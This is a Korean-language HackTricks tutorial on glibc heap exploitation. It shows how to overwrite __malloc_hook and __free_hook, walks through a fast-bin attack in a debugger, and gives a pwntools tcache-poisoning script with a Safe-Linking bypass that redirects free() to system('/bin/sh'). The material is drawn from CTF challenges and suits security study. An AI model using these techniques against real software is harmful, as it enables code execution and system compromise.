WWW2Exec - __malloc_hook & __free_hook
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Malloc Hook
공식 GNU 사이트에 따르면, 변수 **__malloc_hook
**는 malloc()
가 호출될 때마다 호출될 함수의 주소를 가리키는 포인터로, libc 라이브러리의 데이터 섹션에 저장됩니다. 따라서 이 주소가 예를 들어 One Gadget으로 덮어쓰여지면 malloc
이 호출될 때 One Gadget이 호출됩니다.
malloc
을 호출하기 위해 프로그램이 호출할 때까지 기다리거나 **printf("%10000$c")
**를 호출하여 너무 많은 바이트를 할당하여 libc
가 힙에 할당하도록 할 수 있습니다.
One Gadget에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
warning
GLIBC >= 2.34에서는 후크가 비활성화되어 있습니다. 최신 GLIBC 버전에서 사용할 수 있는 다른 기술이 있습니다. 참조: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
이는 정렬되지 않은 빈 공격을 남용한 후 빠른 빈 공격을 남용한 예제 중 하나에서 악용되었습니다:
이진 파일에 기호가 있는 경우 다음 명령어로 __free_hook
의 주소를 찾을 수 있습니다:
gef➤ p &__free_hook
포스트에서 기호 없이 free hook의 주소를 찾는 단계별 가이드를 찾을 수 있습니다. 요약하자면, free 함수에서:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
이전 코드에서 언급된 중단점에서 $eax
에는 free hook의 주소가 위치하게 됩니다.
이제 fast bin attack이 수행됩니다:
- 우선,
__free_hook
위치에서 200 크기의 빠른 청크로 작업할 수 있다는 것이 발견됩니다: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- 이 위치에서 크기 0x200의 빠른 청크를 얻으면 실행될 함수 포인터를 덮어쓸 수 있습니다.
- 이를 위해 크기
0xfc
의 새로운 청크를 생성하고 그 포인터로 병합된 함수를 두 번 호출하여, 빠른 빈에서 크기0xfc*2 = 0x1f8
의 해제된 청크에 대한 포인터를 얻습니다. - 그런 다음, 이 청크에서
fd
주소를 이전__free_hook
함수로 가리키도록 수정하기 위해 편집 함수를 호출합니다. - 이후, 크기
0x1f8
의 청크를 생성하여 빠른 빈에서 이전의 쓸모없는 청크를 가져오고, 또 다른 크기0x1f8
의 청크를 생성하여 **__free_hook
**에서 빠른 빈 청크를 가져오고, 이를system
함수의 주소로 덮어씁니다. - 마지막으로, 문자열
/bin/sh\x00
을 포함하는 청크가 삭제 함수 호출로 해제되어__free_hook
함수가 호출되고, 이 함수는/bin/sh\x00
을 매개변수로 하여 system을 가리킵니다.
Tcache 오염 및 Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32는 Safe-Linking을 도입했습니다. 이는 tcache와 빠른 빈에서 사용되는 단일 연결 리스트를 보호하는 무결성 검사입니다. 원시 포인터(fd
)를 저장하는 대신, ptmalloc은 이제 다음 매크로로 암호화된 형태로 저장합니다:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
악용의 결과:
- 힙 누수는 필수입니다 – 공격자는 유효한 난독화된 포인터를 만들기 위해
chunk_addr >> 12
의 런타임 값을 알아야 합니다. - 오직 전체 8바이트 포인터만 위조할 수 있으며, 단일 바이트 부분 덮어쓰기는 검사를 통과하지 못합니다.
glibc 2.32/2.33에서 __free_hook
를 덮어쓰는 최소한의 tcache-독이 주입 원리는 다음과 같습니다:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
위의 스니펫은 *UIUCTF 2024 – «Rusty Pointers»*와 *openECSC 2023 – «Babyheap G»*와 같은 최근 CTF 챌린지에서 수정된 것으로, 두 챌린지 모두 __free_hook
을 덮어쓰는 Safe-Linking 우회에 의존했습니다.
glibc ≥ 2.34에서 변경된 사항은 무엇인가요?
**glibc 2.34 (2021년 8월)**부터 할당 훅 __malloc_hook
, __realloc_hook
, __memalign_hook
및 __free_hook
은 공식 API에서 제거되었으며 더 이상 할당자에 의해 호출되지 않습니다. 호환성 기호는 레거시 바이너리를 위해 여전히 내보내지지만, 이를 덮어쓰는 것은 더 이상 malloc()
또는 free()
의 제어 흐름에 영향을 미치지 않습니다.
실용적인 의미: 최신 배포판(Ubuntu 22.04+, Fedora 35+, Debian 12 등)에서는 다른 하이재킹 원시(primitives)(IO-FILE, __run_exit_handlers
, vtable spraying 등)로 전환해야 합니다. 훅 덮어쓰기는 조용히 실패할 것입니다.
디버깅을 위해 이전 동작이 여전히 필요하다면, glibc는 레거시 훅을 다시 활성화하기 위해 미리 로드할 수 있는 libc_malloc_debug.so
를 제공합니다. 그러나 이 라이브러리는 생산 환경을 위한 것이 아니며 향후 릴리스에서 사라질 수 있습니다.
참고 문헌
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – 20년 된 malloc() 익스플로잇 원시 제거 (Check Point Research, 2020)
- glibc 2.34 릴리스 노트 – malloc 훅 제거
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.